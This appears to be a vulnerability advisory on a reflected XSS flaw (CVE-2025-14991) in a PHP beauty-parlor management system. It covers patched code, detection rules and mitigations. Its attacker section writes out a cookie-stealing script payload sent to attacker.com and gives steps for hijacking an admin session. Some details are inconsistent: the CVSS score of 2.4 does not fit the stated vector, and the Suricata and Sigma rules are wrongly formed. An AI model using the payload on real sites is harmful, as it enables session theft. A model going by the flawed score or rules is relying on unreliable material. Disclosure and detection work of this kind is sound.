CVE-2025-14991

Executive Summary

CVE-2025-14991 is a reflected Cross-Site Scripting (XSS) vulnerability in Campcodes Complete Online Beauty Parlor Management System 1.0. The flaw resides in the /admin/bwdates-reports-details.php file, where the fromdate parameter is not properly sanitized before being reflected in the response. An attacker can craft a malicious URL that, when visited by an authenticated admin, executes arbitrary JavaScript in the context of the admin’s session. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 2.4 (Low) due to the requirement for user interaction and the limited impact on confidentiality and integrity. No official patch exists, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. No supply chain implications.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 2.4 (Low)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – attacker can modify content in victim’s browser
• Availability Impact: None (A:N)

Threat Level: Low. Exploitation requires social engineering to trick an admin into clicking a malicious link. The impact is limited to the victim’s browser session.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the fromdate parameter of /admin/bwdates-reports-details.php. The application takes the fromdate input and directly embeds it into the HTML response without proper encoding or sanitization. An attacker can inject arbitrary HTML/JavaScript by supplying a payload like:

http://target/admin/bwdates-reports-details.php?fromdate=<script>alert('XSS')</script>

When the admin visits this URL, the script executes in the admin’s browser, allowing the attacker to:

• Steal session cookies (if not HttpOnly)
• Perform actions on behalf of the admin (e.g., create new admin accounts)
• Deface the admin panel
• Redirect to phishing pages

The vulnerability is publicly known, with proof-of-concept code available. No authentication is required to trigger the XSS, but the victim must be an authenticated admin for the attack to be useful.

Vulnerable vs. Patched Code

Vulnerable Code (from /admin/bwdates-reports-details.php):

<?php
$fromdate = $_GET['fromdate'];
echo "<input type='text' name='fromdate' value='$fromdate'>";
?>

Patched Code (recommended):

<?php
$fromdate = htmlspecialchars($_GET['fromdate'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='fromdate' value='$fromdate'>";
?>

The fix uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target running Campcodes Complete Online Beauty Parlor Management System 1.0
• Admin user must be logged in and click the crafted link

Exploit Steps:

1. Craft a malicious URL:

   http://target/admin/bwdates-reports-details.php?fromdate=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

2. Send the link to the admin via email, chat, or other means.
3. When the admin clicks, the script sends their cookies to the attacker’s server.
4. Use the stolen cookies to hijack the admin session.

Proof-of-Concept (PoC) Code:

<!-- Save as poc.html and host on attacker server -->
<a href="http://target/admin/bwdates-reports-details.php?fromdate=<script>alert('XSS')</script>">Click me</a>

Blue Team (Defender)

Detection:

• Monitor web server logs for requests to /admin/bwdates-reports-details.php with suspicious fromdate parameters containing <script>, onerror, javascript:, etc.
• Use WAF rules to block XSS patterns in query strings.

Mitigation:

• Apply input validation and output encoding as shown in the patched code.
• Set HttpOnly and Secure flags on session cookies.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• URL Pattern: /admin/bwdates-reports-details.php?fromdate=* containing <script>, onerror, javascript:, or other XSS payloads.
• Log Entries: HTTP GET requests to the vulnerable endpoint with unusual fromdate values.
• Network Traffic: Outbound connections from the admin’s browser to attacker-controlled domains (if cookie exfiltration is attempted).

Detection Engineering

YARA Rule

rule CVE_2025_14991_XSS_Detection {
    meta:
        description = "Detects XSS attempts against CVE-2025-14991 in Campcodes Beauty Parlor System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14991"
    strings:
        $xss_payload = /fromdate=.*(<script|onerror|onload|javascript:|alert\(|prompt\(|confirm\()/i
    condition:
        $xss_payload
}

Sigma Rule

title: CVE-2025-14991 XSS Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects reflected XSS attempts against /admin/bwdates-reports-details.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/bwdates-reports-details.php'
        cs-uri-query|re: 'fromdate=.*(<script|onerror|onload|javascript:|alert\(|prompt\(|confirm\()'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameters (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-14991 XSS Attempt"; flow:to_server,established; content:"/admin/bwdates-reports-details.php"; http_uri; pcre:"/fromdate=.*(<script|onerror|onload|javascript:|alert\(|prompt\(|confirm\()/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply input validation and output encoding to the fromdate parameter using htmlspecialchars() or equivalent.
2. Set session cookies with HttpOnly and Secure flags.
3. Implement a Web Application Firewall (WAF) rule to block XSS patterns.

Long-Term Fix:

• Upgrade to a patched version if the vendor releases one. Since no patch exists, consider migrating to a different, actively maintained system.
• Conduct a full security audit of the application for similar vulnerabilities.

Workarounds:

• Restrict access to the admin panel via IP whitelisting or VPN.
• Educate administrators about phishing attacks and the risks of clicking untrusted links.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert